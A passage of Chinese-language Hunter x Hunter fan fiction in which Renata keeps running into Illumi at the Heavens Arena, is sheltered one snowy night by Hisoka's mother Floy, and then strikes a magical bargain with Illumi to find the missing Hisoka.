听起来有点像绕口令，蕾娜塔搞不清这种因果关系。
“而且这里是家里交给我的任务。”他的眸子又幽幽地盯向屏幕。上面正在播放着擂台上的战斗。
“所以你的意思是我们遇见只是碰巧，你刚好在完成家里交代的任务的时候碰到了我？我只是顺带观察的一个很强的对象？”蕾娜塔从他的只言片语里推断出这个结论。
“嗯？”
伊路米又转过头来看她，眨巴了几下眼睛，似乎是在疑惑她为什么要执着于这种无聊的问题。
所以刚刚就根本没有在听她讲话或者听了也不想过多解释是吗？
蕾娜塔终于体会到那种对方听不懂人话的感受了。
伊路米的表情微微一顿，正当蕾娜塔以为他想起解答她刚才询问的那些问题时。他的右手握拳敲在左手掌心上。“哦对了，可以告诉我你的名字吗？”
“？”这个家伙真的有在听别人讲话吗？蕾娜塔微微瞪大了眼睛。
但她也不想和他计较太多，感觉不告诉他的话，他也会用一些手段来知道她的名字。
“蕾娜塔。”她有点不太情愿地吐出她的名字。
“果然刚刚没看错呢。”男孩摩挲着下巴不知道在思考什么。
明明看到了还要来问她。
好奇怪的人。
蕾娜塔看向上方的屏幕，高大的选手被另一个瘦小的选手用绞杀压在地上动弹不得。
“很好听的名字。”伊路米开口道，语调还是很平，完全听不出是夸赞的话语。
“嗯？”
虽然不知道他刚刚在思考什么，这次终于听进去话了吗？蕾娜塔有些欣慰地看向伊路米。
“你的名字很好听。”听到蕾娜塔略带疑惑的语气，像是怕蕾娜塔听不懂，他换了一种方式表达。
“……我知道了。”
27.电梯×交谈×魔术
“恭喜蕾娜塔晋级200层！”
蕾娜塔轻轻拍去衣服上的灰尘，天空竞技场的选手果然和金说的一样，是非常容易解决的存在。
“这边的奖金已经打到您的卡里了。”前来指引的接待员嗓音轻柔，脸上带着得体的微笑。“请您上这边的电梯。”
呆在里面的电梯小姐已经把对应的楼层点亮，微笑着等候她的到来。
蕾娜塔踏入这个不算宽大的小房间。被叫做电梯的小房间起步时会有一阵的失重感，过了几秒后，便是平稳的上升，屏幕上的数字在不停地跳动。
她盯着屏幕上闪烁的数字，思绪微微发散。
金订好的酒店时间快到了，接下来就是去看这里的房间是怎么样的。如果不是因为到了200层有申请战斗制，她现在已经成为楼主了。
在显示第56层的时候电梯缓缓停下，电梯门打开先后进入了两个少年。
一个是伊路米，一个是她不认识的红发男孩。
他们两个应该不认识。
但她还是感到诧异。
短短两天，她就已经和他碰面了四次。为什么哪里都有他的存在。总不可能是传说中的缘分吧。
“是你。”伊路米的尾调微微上扬，似乎很高兴见到她。那双漆黑的眸子从发现她起就一直盯着她看。
被盯着的蕾娜塔不太想理他，她盯着屏幕上的数字装作没看见他的存在。
“是因为他吗？”见蕾娜塔不理他，伊路米睁着无神的眼睛，说出自己猜测出的蕾娜塔不理他的原因。
在场的人除了伊路米就只有那个红发男孩是男的了。伊路米看见过她和前台小姐有说有笑的所以排除是电梯小姐的原因。他和蕾娜塔认识，蕾娜塔不可能轻易不理他，所以那就只能是这个红发男孩的问题了。
伊路米点点头，觉得他的猜测非常正确。
蕾娜塔也知道伊路米刚才说的是谁，但她还是不太想和伊路米解释为什么不想理他的原因。因为这完全是伊路米的问题。
好不容易借着比赛摆脱了伊路米那完全不是人话的人话，现在比赛完、损失了部分精力的她已经没有和伊路米讲话的力气了。
红发男孩待在一旁，但眼神还是控制不住地在他们之间来回打量，脸上露出玩味的表情。
伊路米注意到了他的视线。
“眼睛不要的话，可以剜了哦。”他带着点苦恼的语气说道，“虽然我不喜欢做白工，但是如果能让蕾娜塔开心的话我是不太介意的。”说完，他看向蕾娜塔，像是在征询她的意见又像是讨要某种奖赏。
好像她还什么都没说吧？被别人看几眼而已，人家也没干什么吧？
况且一直都是伊路米在自说自话吧？？
虽然已经见识过伊路米听不懂人话的操作，但她还是被伊路米异于常人的思考方式惊呆了，满脸不解地看回伊路米。
见蕾娜塔终于看向他，伊路米更加肯定地确认是那个红发男孩的问题。
“哼哼~”
红发男孩听到他的话，喉间溢出了几声意味不明的笑声。
伊路米的眼神顿时从蕾娜塔身上转向红发男孩的身上。
狭小的空间里气氛突然变得有些焦灼。
红发男孩的脸上有部分淤青，嘴角的尤其明显，但还是不怕死地弯起，直勾勾地冲着他做出了挑衅的笑容。
再往下他的衣服上有很多细细密密的补丁和衣服的颜色相差无几，为他缝制的人手艺不错，说明他有一个母亲或者类似母亲这样体贴的存在。
在这种无声的硝烟中，伊路米的手微微一动，他正准备干点什么的时候，电梯门开了，红发男孩率先一步走出了这个地方。
“我的名字是西索，期待你来取我的眼睛哦~”他一边说着一边手上像是拉扯了什么东西。
电梯门关上，原本西索所站着的地方出现了一张红心A。
头一次被弱者挑衅，伊路米面色深沉不知道在想什么，被墨浸透的眼眸显现不出什么情绪。
“哇，好厉害。”蕾娜塔捡起这张突然出现的扑克牌，脸上露出了惊讶的表情，她的手一翻，背面是一个q版西索的笑脸。
“是一个小魔术呢。”电梯小姐微笑着演示了这个魔术的原理。
“虽然看起来很简单，但在什么都不知道的情况下，还是很让人惊讶啊。”蕾娜塔又再次见证了这个凭空出现的小魔术。
“哈哈我也觉得呢，这是最近出现的马戏团在表演上所展示的魔术。很容易就学会了。”电梯小姐不厌其烦地又展示了一遍。
“叮咚。”电梯门又开了，伊路米站在原地不动。
“这位先生，您的楼层到了哦。”电梯小姐细心地提醒道。
“你说的马戏团，它在哪里？”伊路米抬起步子从容不迫地向外走去。走出电梯门后，他看向电梯小姐询问道。
精致的五官镶嵌在白皙的脸上，就像橱窗里放置的娃娃，感受不到活人的气息。
小小的个子在电梯温暖的灯光下影子被拉得很长，带着几分恐吓的意味。
“好像就在天空竞技场附近吧？很大的一个马戏团呢。”电梯小姐露出回忆的表情，“您找一找就能看到了。”她微笑着按上关电梯的门的按键。
蕾娜塔看着伊路米的脸在电梯门的关合下消失。电梯小姐也微微松了一口气，停下了一直按着关门键的手。
看来电梯小姐也不太想和伊路米接触。
果然都是伊路米的问题吧。
“两百层到了，请蕾娜塔小姐去看您自己的房间吧。那边会有人来接待您的。”电梯小姐做了一个请的姿势，提醒蕾娜塔她到了对应的楼层。
“谢谢了。”蕾娜塔向她道谢一声，踏出电梯，专属的接待员已经在门口等候了。
“您的房间在5号房。”接待员指引她来到房间门口，帮她打开了房门，里面和金给她订的酒店格局大差不差。
“有什么需要的话，您可以拨打电话到前台。”
“好，谢谢了。”
接待员走的时候带上了门，蕾娜塔躺在床上，看着洁白的天花板发呆。
“就在今天，迪来可勋餐厅的一名员工离奇死亡，而记录一切的摄像头刚好在今日短路。这到底是早有预谋还是意外巧合……”
电视机里还在播放着最近的新闻。
楼主可以独享一层，现在这个房间就已经很
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大了，那楼主的房间得有多大啊。完全想象不出。
现在天空竞技场也差不多打穿了，感觉好无聊。
金这个时候在干嘛呢？
她掏出口袋里的传呼机，打入输入框的文字删删减减。
上面的消息都是整整齐齐的未读。
金好忙啊。有点不想给他发消息了。
她耍小性子地把传呼机扔到一边，在柔软的大床上滚了一圈。
电梯小姐说天空竞技场附近有一个很大的马戏团，里面还会表演和西索那种差不多的魔术。
要不去看看吧？她趴在床上从落地窗眺望远处，到处是霓虹灯闪耀。
但是刚刚看到伊路米好像对那个马戏团也有点感兴趣的样子，不是很想碰到他。
到底是去还是不去啊。
她在床上纠结地滚了好几圈，把头埋进被子里。
画着q版西索脸的扑克牌和伊路米面无表情的脸在脑海里挥之不去。
啊啊啊啊！果然都是伊路米的错！害她选择那么困难！
“最近，名声大噪的玛卷克马戏团入驻巴托奇亚共和国所在的大陆东部，团队成员有世界一流的魔术师俊格·莫罗……”
电视机斑斓的光线照在蕾娜塔的脸上，画面展示的是马戏团里热闹的场面。
可是、可是魔术真的很神奇啊。而且不依靠念，就像电视机一样厉害。
虽然可能大概或许会碰到伊路米，但是只要不理他就好了吧？只要不理他，他就不会说太多奇怪的话。不看他就不知道他想干什么。
所以去看马戏团吧。
她已经完全战胜了伊路米的语言攻击！
“叮铃铃——”电话机的铃声响起。
蕾娜塔顺手接下了这个电话，放在耳边。
“您好，蕾娜塔女士，这边124层10号房的伊路米先生想要拨打您的电话，请问现在要为您转接吗？”
不是，伊路米现在打电话过来想要干什么？她在飞快地思考伊路米的打这通电话的缘由。
“谢谢了，不要。”
但是诚实的身体比她更快一步拒绝了伊路米。
她要去马戏团看魔术，才不要管伊路米呢。
对哦。
刚刚不是已经说服自己去看魔术了吗？怎么还打起退堂鼓了。
“那您这边要转告他原因吗？”电话那头的前台小姐耐心地按照步骤等待她的回答。
如果直接告诉伊路米因为要看马戏团所以不接他的电话，感觉会被他缠上。
但是不说的话，感觉也会被他缠上。
金那天说的果然很对，相比于只会使用暴力的家伙，还是伊路米这样阴魂不散的家伙更让人讨厌。
“蕾娜塔小姐，您还在吗？”电话那头长久得不到回应，迟疑地出声确认蕾娜塔的存在。
“不好意思啊，刚刚睡过去了，你就和伊路米说我要睡觉了吧。”
“好的，蕾娜塔小姐，祝您过得愉快。”前台小姐已经挂了电话。
居然被她想到了方法，她真的好聪明。
蕾娜塔高兴地在床上多滚了几圈。
马戏团、马戏团、魔术、魔术！
28.停售×弗洛伊×小屋
人类会为马戏团付出什么？
尖叫、震撼、惊吓还是懊悔？
昏黄的灯光柔柔地晕开这浓墨似的夜晚，蕾娜塔坐在玛卷克马戏团附近的长椅上开始思考这个严肃的问题。
好不容易克服了某个阴魂不散的语言攻击。
结果发现马戏团不仅早就结束了而且这个月的预售票也抢完了。
这个时候雪花也非常应景洋洋洒洒地下了起来，还有越下越大的趋势。
蕾娜塔有心无力，只想坐在这个长椅上等待雪停，也不知道到了半夜她会不会变成一个雪人。
大部分的雪花落到衣服上就化了，可能在变成雪人之前她已经变成冰人了。那好像确实有点可怕，要是变成一个冰块被人当成冰雕一砸就碎了。
碎了之后重新拼回来又是一个她，然后再冻起来再打碎再复原。
她为自己的想法笑出了声。呼出的热气在下一秒变成了乳白的水雾漂浮在空中。
她甚至还有闲情逸致地接了几片雪花在掌心，细细观察着它们的形状。
金告诉过她，每一片雪花都是不一样的。
但她怎么看来看去都长得差不多呢？
“啊，化了。”她看着手心里的那一摊小水渍，有些可惜地拨弄了一下水花，在这个过程里还有源源不断的雪花落进这里面。
她抬头，看向这漫天雪花。
“你这孩子怎么一个人在外面淋雪呢？小心感冒了。”一道柔和的女声响起，带着些关切。
蕾娜塔的视野被黑色的伞面遮挡，那顶伞的质量并不好，可以看到那淡黄的光晕，但是挡住了从天而降的雪花。
她的视线顺着伞柄看去，握着伞柄的手褶皱很明显也有许多的细纹，关节处还有厚厚的茧。
和她的手完全不一样。
再往上，是一张女人的脸。
和基裘年轻漂亮的脸蛋不一样，也和席巴的母亲精心保养的脸蛋也不一样。
她的眉梢挂着化不开的忧郁，眼角有着淡淡的鱼尾纹，脸颊处还有一些斑斑点点，嘴巴干燥得起了一些皮。
围在脖颈上的围巾，线头微微翘起但被藏得很好，衣服上的补丁也是几乎看不出来缝补过的痕迹。
唯一的亮点就是那双微亮的眼眸担忧地倒映出蕾娜塔的影子。
“怎么不说话？是被冻到了吗？天冷了也不知道多穿一点。”女人解下她的围巾围在蕾娜塔的脖子上。
脖颈上厚实的触感让蕾娜塔走了神，不知道为什么想到了圣诞那天金戴在她头上的那顶留有余温的帽子。
很温暖。
就像金一样。
她直愣愣地看着女人。
“如果没有地方可去的话来我家怎么样？”女人看蕾娜塔一个人孤零零地在外面提议道，脸上的担心不似作假。
而且蕾娜塔身上的衣服也都是一些昂贵的面料，应该是哪家任性离家出走的孩子。一个人在外面也没有什么自保能力，要是碰上些混蛋就糟糕了。
说到混蛋，她想到了那个冰冷的雨夜，心里止不住地打了个哆嗦，不敢细想下去。
“走吧，跟我走吧。”她把伞柄递到蕾娜塔的手里，拉起坐在椅子上蕾娜塔的另一只手，少女微凉的体温吓了她一跳。
“你这孩子，手怎么那么冷。”她连忙用双手捂着蕾娜塔的手哈了几口气，然后把蕾娜塔的手放进她的口袋里捂着。
蕾娜塔全程被面前柔弱的女人拉着走，她本来想拒绝的，但是看到女人关切的神色就什么话也说不出来了，
女人似乎还有什么疾病，走几步路就会喘息几口，然后回头看她几眼示意她放心。
“不要担心，我这是老毛病了，不会传染人的。”女人拍着胸脯保证道。她拉着蕾娜塔进了一个小屋，屋子里的装饰都很温馨，里面靠近厨房的位置有一个红发男孩在烤火。
西索察觉到门开就抬头看了一眼，没想到碰到了下午在电梯间遇到的那个女孩。
她很耀眼。尤其是那双鸽血红一般的眼睛。
和周围的一切都格格不入，他像是被刺到地低下了头。
“坐吧。”女人搬来一条凳子放在火炉旁，然后自己也搬了一条凳子坐在旁边，伸出双手烤火。
“妈妈，这位是？”西索不知道蕾娜塔有没有说出自己的事情，但他还是装作没见过蕾娜塔的样子闷声向女人发出疑问。
“这、这是——”西索的妈妈不知道蕾娜塔的名字。说离家出走的话，又怕伤害到她的自尊心，支吾了半天，也不知道该什么介绍她，“刚刚从外面捡回家的，还没问这孩子的名字呢。”她讪笑着说。
“蕾娜塔。”蕾娜塔有样学样地照着女人烤火的样子。
炙热的火舌快要舔舐到她的手指，比烤肉那时的温度要低很多。
“这是我的孩子——西索，”女人的手轻轻搭在西索的肩膀上，“我是弗洛伊，你叫我弗洛伊或者阿姨都行。”
“你的丈夫不在家吗？”蕾娜塔刚刚看了房间一圈，厨房的门口堆着几个空啤酒罐，进来的门口放着一双皮鞋，鞋柜上也有弗洛伊和一个男人的照片，这个家应该是有男人生活的痕迹的。
“啊，他工作很忙，总是应酬到很晚，没空管我们母子两。”像是感到些许寒冷，弗洛伊把袖口往上拉了拉，注意到沉默不语的西索，她的胳膊推了他一下，“西索，你怎么不叫姐姐呢？我和你说过的，要懂礼貌呀。”
“姐、姐。”大概是弗洛伊在场，西索那股不怕死的劲被压了下去，露出温顺的一面，但那双金色的眼眸还是锐利地看向蕾娜塔，看来也不是完全温顺，至少对蕾娜塔来讲。
你想干什么？
蕾娜塔看懂了他的意思。趁着弗洛伊转身去拿其他东西的时候，她对着西索做出了无声的口型。
我、只、是、路、过。
西索还是死死地盯着她，怕她做出对弗洛伊不利的举动。
她耸耸肩表示随便他怎么想。
“这是我家种的苹果，还有一些我做的点心，希望你不要介意。”弗洛伊端上切好成兔子样式的苹果，还有一小盘曲奇饼干。
西索倒是毫不客气地先叉走一块苹果。弗洛伊看了他一眼，把盘子往蕾娜塔的方向推了推。
“快吃吧。”她的两只手局促不安地在围裙上擦了几下，恳切地看着蕾娜塔，生怕自己的食物遭到她的嫌弃。
蕾娜塔笑了笑随手叉起一块放入嘴中。
“很甜。”
吃完苹果她又拿起一块曲奇咬下。
“很好吃。”
“那太好了，还以为不合你的口味呢。好吃的话就多吃一些吧，我们家也没有什么其他的可以招待的了。”弗洛伊松了一口气，满眼歉意地向她道歉。
明明不是她的错。
“好。”蕾娜塔低声应下，不作声地把那些食物吃完。
弗洛伊做的曲奇和外面餐厅卖的不一样，很好吃，也很温暖。外面餐厅很少有温热的曲奇。她忍不住把它们全吃
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完了。
弗洛伊看着蕾娜塔一点一点把那些食物吃完，眼里满是心疼地摸了摸她的背。“你这孩子，一定是饿坏了吧。如果以后想吃了也可以来我家。”
“啊？好。”
虽然不知道弗洛伊想到什么，但是能继续吃到她做的曲奇的话，她也是很乐意的。蕾娜塔点点头同意弗洛伊的请求。
“真的是一点都没给我留~”西索看着盘子里的残渣，郁闷地鼓起自己的脸颊。他才吃了一块的功夫，蕾娜塔就把剩下的全都解决了。
“明天会给你做的，我向你保证好吗？”弗洛伊蹲下身子拉起西索的手，那双像水一样温柔的眸子轻轻地把他接住。
弗洛伊总是这样。
西索撇过头不知道嘟囔了什么，把自己的手从弗洛伊的手里抽出来。
“知道了，妈妈。”他看了一眼蕾娜塔又看了一眼窗外，外面的雪还在下。
这个家伙还要多久才能离开。他在心里懊悔为什么今天晚上要把弗洛伊支开，不然她就不会遇到蕾娜塔了。
可是如果不把弗洛伊支开的话她就会发现。
所幸西索不是一个自我纠结的人，如果让他重来再次选择的话，他还是会毫不犹豫地把弗洛伊支开。
他只能期盼着雪下小些再小些。
这样的话蕾娜塔就可以离开他的家了。
蕾娜塔只是默不作声地看着他们之间的互动，在西索抬头看向她的时候，她看向飘着雪的窗外。
妈妈。
是一种什么样的存在。
“我们家附近入驻玛卷克马戏团，蕾娜塔有看过吗？听说很好看呢。”弗洛伊顺着蕾娜塔的视线看去，看到了外面闪着光的马戏团帐篷。
“没有，没有看过。”蕾娜塔摇着头否认。
弗洛伊想着蕾娜塔是离家出走的哪家小姐，应该家里管得严，所以看不到马戏团也很正常，她摸着西索的头安慰蕾娜塔道：“我家西索也没看过呢。”说着她又从围裙里摸出两张票来。
“这两张票是别人给我的，是这个月的月末，本来想着带西索去……”弗洛伊朝着蕾娜塔走去。
弗洛伊的意思已经很明显了。
“妈妈？”西索疑惑地打断了她的话。“你不是说好了要陪我一起去吗？”他拉上弗洛伊垂在身侧的手，想要阻止弗洛伊的离开。
“算了吧。”蕾娜塔摇着头拒绝了她，不着痕迹地看向她身后的西索，他的半张脸躲在弗洛伊的后面，那双金色的眼眸像是野兽恐吓般警告着蕾娜塔。
堪比三毛那只变脸猫。
而她面前的弗洛伊一无所知，拿着票的手还举在胸口。
“西索更需要你。”
“说的也是呢。”见蕾娜塔拒绝了她的请求，弗洛伊倒是意料之内地收起了那两张票，摸了摸身后西索的脑袋，安抚他的情绪。
蕾娜塔看了一眼窗外，外面的雪停了，她也要离开了。
“再见。”蕾娜塔挥手拉开了门。
“现在太晚了，要不明天再走吧。”弗洛伊蹙眉，担忧地看向外面漆黑的夜晚。
“不用了。”蕾娜塔拒绝了她，但弗洛伊还是往她手里塞了一把匕首，顺带着捏紧了她的手，什么话都没说。
“下次见。”弗洛伊本来打算送蕾娜塔出门，但是西索无论怎么样都拉着她的手不让她走。所以她挥了挥手，向蕾娜塔告别。
“路上小心。”
蕾娜塔没说什么，合上门，隔绝了门外孤独的旅人。
29.回去×女鬼×失踪
到处都是白茫茫的一片，蕾娜塔的鞋在雪上陷出一个印子。
“大小姐说了，今天就要解决你们这些吃里扒外的臭虫。”
这是到哪里了？
她茫然地打量着眼前拿着武器的两伙人。恰好前往天空竞技场的路被他们挡着。不过她出来的时候还是好好的，怎么回去就是这样了。
最近是发生什么事情了吗？
她大大咧咧地从两波人中间走过去，为首的几个人都以为她是对方派来的援助，不清楚实力之前也没敢轻易动手。
他们手里拿着武器，都警惕地看着她。
她随意地往人群里瞥了一眼，看见面前男人的身后站着一个黑发的男孩。男孩的手化成利爪已经伸到他的胸口前，而他后面的帮手竟然没有一个人注意到男孩的存在。
他要死了。
蕾娜塔转过头，有些无聊地踢走脚前的小石头，弄出了细微的响声。
下一秒男人撕心裂肺的叫声在不远处响起。
等等，一个黑发的男孩？如果没看错的话好像是——
“你在这里，蕾娜塔。”那颗被她踢走的小石头蹦跳着弹到了伊路米的鞋子前，他那双无机质的眼眸幽幽地看着她，从她的眼睛落到了她脖子上和她的搭配格格不入的手工围巾。
他的眼神停顿几秒，然后开口问道：“是因为外面下雪了吗？”
顺着伊路米停顿的视线看去，蕾娜塔这才后知后觉地发现她忘记把围巾还给弗洛伊了。不过见伊路米没提围巾的事情，那她也懒得解释。
“嗯，下雪了，出来逛逛。”她顺着伊路米为她找好的借口顺下去说，还装模作样地转了几下头，欣赏周围的景色。
结果只看到几具尸体和仓皇逃窜的两伙人。
蕾娜塔：……
注意到蕾娜塔的视线，伊路米清了一下嗓子解释道：“这些是雇主委托。”然后从那些尸体胸口的大洞略过，隐约带着期待的眼神盯着她。
这是希望她来雇佣他的意思吗？
可是她好像没有什么仇敌吧。
蕾娜塔不太理解伊路米的眼神，随口夸赞道：“挺好的挺好的。”
“真的？”
“真的。”蕾娜塔非常肯定地点头。
伊路米得到她的肯定后，心满意足地弯起些嘴角，搭配他毫无波澜的眼眸，皮笑肉不笑更吓人了。
让蕾娜塔想起金之前在大半夜放的那些恐怖片。
好可怕，伊路米像个女鬼。
连着寂静的夜晚也在伊路米的作用下变成了恐怖片的前兆。
“那我走了。”蕾娜塔抬起脚步，不想再陪着他在这里上演恐怖片的情节。
“嗯。”伊路米轻轻应了一声，紧紧跟在她后面。
虽然他们的目标地点都是天空竞技场，但是不知道为什么，一想到跟在后面的是伊路米，蕾娜塔就有一种浑身不自在的感受，就好像被某类竖瞳生物盯上了。
她转了一个弯朝着之前金订好的酒店方向去，虽然伊路米的脚步声很轻，有着猫科动物落地的轻巧，但蕾娜塔还是完全无法忽视背后如影随形的窥视感。
不是吧，都不去天空竞技场了还要跟着她。
“你要干什么。”蕾娜塔忍无可忍地转头看向伊路米。
那双带上些情绪的红眸反而更加流光溢彩。伊路米不免得被晃了一下神，睁着无神的眼眸把她细微的表情收入眼底。
这是和平常目空一切的眼眸完全无法比拟的漂亮，就像是精致的人偶被注入了生气。
他的心跳在加快。
伊路米想要蕾娜塔为他一个人展现出不同的色彩。
再生气一点吧，再生气一点吧。
他想要更多。
垂落在一旁的手已经开始呈现利爪化。
伊路米想像往常对待目标一样对着蕾娜塔动手，但仅仅在右手冒出尖利的指甲时，他的理智就止住了这个疯狂的想法。
考虑到他和蕾娜塔的实力差距，他沉默地把那些晦暗的情绪都吞吃入腹，用暗杀目标的耐心把那些阴暗的想法冷静地按压在暗处，想起了他跟着蕾娜塔的目的。
“你不是说要赏雪的吗？”他的语调上扬，波澜不惊的眼眸带上了些许疑惑，好像一直跟着她就是单纯为了陪她赏雪一样。
想到这家伙本身就听不懂人话，蕾娜塔也不想多费口舌。
“我现在累了，要回酒店睡觉，你可以走开了。”她的语气幽幽，学着伊路米的说话方式拿腔捏调地说道。
“好。”伊路米没觉得有什么不对，看了她一眼，点点头就走开了。
真的走了？
伊路米答应得那么爽快反倒让蕾娜塔有些迟疑。确认周围真的没有伊路米那家伙的气息之后，她才大着胆子走回酒店。
房间里
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各种昂贵的衣服、首饰就像垃圾一样随意地堆在地上，那些都是蕾娜塔买了之后发现穿在身上并不好看的或者穿过一次就不想再穿了的。
躺在柔软的大床上，鼻尖充斥着柔和的香水味，看着头顶洁白的天花板，蕾娜塔才有种活过来了的感觉。
随着她的动作，围巾因为惯性而半搭在她的鼻尖，她下意识嗅了一下，是一股淡淡的香味，如果她记得没错的话，是弗洛伊身上的味道。
她拿起搭在她鼻尖上的那一节，摩挲着那一块布料，还伸出两只手拉了拉，密密麻麻的线条被她拉出了一小格一小格的缝隙。
可就是拥有着那么多小缝隙的围巾结结实实地挡住了外面的寒风。她还记得弗洛伊围在她脖子上时残留在围巾的余温。
下次把它还给弗洛伊吧。
她把围巾从头顶上慢慢地绕了几圈，就像当时弗洛伊一圈一圈给她围上一样。
除了人体，她感知不到外面的温度，也不需要这种东西来抵御寒冷。
她想到了弗洛伊因为寒冷而冻红的耳朵，弗洛伊比她更需要这条围巾。
她把这条围巾整整齐齐地叠好放在枕头旁边，等待下次去找弗洛伊的时候再还给她。
落地窗上倒映出蕾娜塔的影子，窗外高楼大厦的霓虹灯不停歇的亮着。
她的视力很好，在楼上看到了楼下从车上走下来的蓝发少女，酒店的管理在恭敬地朝她点头弯腰。那个少女随手把张黑卡扔到管理怀里，管理笑得更高兴了。
等那位少女走了，有一对面黄肌瘦的母子向前讨要些吃食，却被管理身后的保镖哄了出去。
这是一座既温暖又冰冷的城市。她的脑海里没由来的冒出这一句话。
不过这也和她没关系就是了。
哦，现在有关系了。
“蕾娜塔，你看到过西索吗？我实在是没办法了。”
街道上的人流很多，但他们都对这位哭泣的母亲熟视无睹。蕾娜塔看着面前流着泪的弗洛伊，那双和西索如出一辙的金色眼眸昨天还在微笑着，今天就染上了厚厚的水雾。
“怎么办啊，我到处都找不到他。我在买面粉，他明明就在门口，可是我一转身他就不见了。我问路人，没有一个人说看到过他。他们都怕我讹他们，不耐烦地推开我走开了。就连，就连警察也调不出有关监控。”女人夹杂着哭腔断断续续地说完整个事件的原貌。
30.交易×赌约×通话
结合弗洛伊的话来看，所以西索是失踪了？一想到在天空竞技场西索的表现，也不像是他自己走失的模样。调不出监控的话，说明那个家伙应该是有备而来的惯犯了还有可能是念能力者。
弗洛伊压低哭声在旁边默默地擦眼泪。她也没想着蕾娜塔一个十几岁的少女来解决这类事情，但她实在是没办法了。
丈夫不着调整日不归家，周边的邻居也不愿意听她讲话，她到哪都求助无门。
“别哭了，我会解决这件事情的。你在家里等着我吧。”蕾娜塔把手上的围巾围在弗洛伊身上，她还是喜欢弗洛伊笑起来的样子。
“真的吗？真的是谢谢你了蕾娜塔。”听到蕾娜塔答应这件事情，哪怕没多大可能找到，但她还是非常感谢蕾娜塔愿意帮助她。
她来不及擦掉即将掉落的眼泪，握住蕾娜塔的双手止不住的颤抖。
“所以，别哭了，弗洛伊。”蕾娜塔注视着弗洛伊的脸，用柔软的指腹轻轻拭去她眼角晶莹的泪珠。
“你还是笑起来更好看。”
那双雾蒙蒙的眼睛在视线交汇的那刻愣怔住。
蕾娜塔抽出被弗洛伊握着的手，朝着天空竞技场的方向去。
温暖的余热仿佛还残留在她的肌肤上。
这种找人的事情好麻烦的，就当是——报答那天弗洛伊为她围上的围巾吧。
昨天伊路米好像有让她雇佣他的意思，既然杀人都能接，那获取情报应该对他来讲也不难。她微微叹了一口气，没想到她还有主动找上伊路米的那一天。
果不其然，当她踏入天空竞技场的那一刻，伊路米就出现在她的面前，就好像恐怖片里准时刷新的女鬼等待着迷途的羔羊。她也不想藏着掖着，直接开门见山地问伊路米。
“关于西索现在在哪的情报价格是多少。”
“嗯？情报的话是3000w戒尼一条，但看在你是新客的份上打八折。如果下单两条可以免费赠送一条哦。你可以先付50%的订金，确认消息属实后可以再把剩下的50%打入我指定的账户。”伊路米在生意这方面上从不含糊，为了让顾客放心，搭配女鬼式微笑说出了让蕾娜塔钱包寒的话语。
什、什么。居然那么贵。
蕾娜塔拿着银行卡的手突然就不想松开了。
没想到做杀手比做猎人赚钱。怪不得席巴一家都去当杀手去了，金怎么一点都不提。
“虽然我有点讨厌他，但谁让我喜欢蕾娜塔呢。”伊路米语气幽幽，睁着黑漆漆的眼眸盯着她看，眉梢微微上挑。
他现在站在台阶上，比蕾娜塔高了一个头，居高临下地俯视着她，而站在下位的蕾娜塔要微微仰头才能看到他的脸。
光打过来，他的阴影笼罩在她身上，这让他很受用地眯起眼睛。
蕾娜塔没觉得有什么不对，她在低着头思考要不要买。刚刚听伊路米这个意思是他本来想加价的吗？至于伊路米说的喜不喜欢她的事情，她当做鬼话抛在一边。
可是哪怕打了八折也好贵，要2400w戒尼。三条消息就是4800w，买一条还不如买三条划算。
怎么办好纠结。她还想留着一些去其他大陆旅行的。
身在高位的伊路米轻而易举就把蕾娜塔犹豫的微表情看得一清二楚。
“是觉得太贵了吗？”
被戳穿的蕾娜塔不太好意思地抬起头看他，迟疑地点头。
“像你这样的雇主我遇到过很多呢。”伊路米摩挲着下巴思考解决方案，随后他伸出一根食指。“这样吧，我和你打两个赌怎么样。”
“打赌？”
“嗯，赌什么我还没想好，到时候会告诉你。如果你两个都赌赢了，这个情报费用我自付。如果你两个都赌输了就要把99%的资产归我名下，还要来枯枯戮山待满一年。”
“一赢一输呢？”
“那就只付打折后情报费的50%。”
虽然不知道枯枯戮山在哪里，但无论是从侧面还是正面都看不出蕾娜塔会亏的感觉。
一向不说人话的伊路米居然提出了一个非常让她心动的条件。
怪不得金说有钱能使鬼推磨。
戒尼就是可以让伊路米这个女鬼说话变好听了。
“我同意了。”她答应的非常爽快。
“成交。”伊路米拿出一朵花。“这是珀泪菊，根据我们的交易在双方的手腕处形成一个纹身。”说完伊路米手上拿着的花消失了。
蕾娜塔翻转手腕就看到了一朵黑色的小花，伊路米的手腕上也同样拥有。
“如果违背交易，它会从你的手腕处蔓延。直至全身变成珀泪菊的养料。”
蕾娜塔用力搓了搓，发现真的搓不掉。
“我待会和家里通电话，你可以在自己的房间里等着我的来电。如果你想和我在一起的话，也不是不可以。我的房间是124楼10号房。”伊路米颇为自信的点了点头，递给蕾娜塔一张自己的名片，顺带按亮了电梯门，先一步踏入电梯里面。
伊路米是认真的吗？和他待在一起？
蕾娜塔微微瞪大了眼睛，光是和伊路米说话就已经耗尽了她的所有勇气，和他待在一起她都不敢想象她会不会被伊路米同化变成另外一个女鬼。
到时候什么表情都没有，头发长长地披下来……噫！她才不要变成那样！
“那我先回房间了。”看蕾娜塔毫不掩饰的表情，伊路米也猜到此刻她并不是愿意和他待在一起。
他们现在才认识没几天，还不急于一时。
“好的，再见。”蕾娜塔如释重负地挥手，看着电梯门关上后，把伊路米的名片随手揣到口袋里。
忙活了一个下午应该休息了。
她要去吃个甜品来安慰被伊路米创伤的心灵。
是面包的诱惑还是香蕉船或者圣代呢？
好难选。
一个穿着皱皱巴巴西装的男人带着一身酒精味，跌跌撞撞地走在街道上，差点撞上一旁的蕾娜塔，还好她躲得快，才不至于被男人身上浓重的味道熏到鼻子。
“小妞，再、再陪大爷喝一个。”说着那个男人就想伸手揽上她的脖子。
蕾娜塔扫了他一眼，轻松躲开，无聊的看向前方。
“居然敢、敢违抗、本大爷、嗝。”男人被
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躲过了还不罢休，伸着手就向蕾娜塔扑过去，嘴边还挂着口水。
蕾娜塔弯下腰，躲过他的双臂，随便捡起花坛里的一块石头扔向他的手臂。
不小心使劲了，应该断了一块骨头吧。
她随意地想着。
“痛、痛死爷了。”男人捂着被击打的地方大叫。“你居然敢打老子。”他挽起袖子就冲着蕾娜塔来。
“再向前可不是手臂那么简单了。”蕾娜塔又拿了一块石头瞄准男人的头部。“你也不希望自己不、清、醒、的头多出一个洞吧？”
很显然他就是打着醉酒的幌子来骚扰她的。
“哼，今天老子放过你。”男人心有余悸地瞄了一眼自己的手臂，恶狠狠地朝蕾娜塔放狠话，转过身后又把脚边的啤酒罐踢飞。
蕾娜塔无趣地把那块石头打到他的关节处，让他在大庭广众之下下跪。
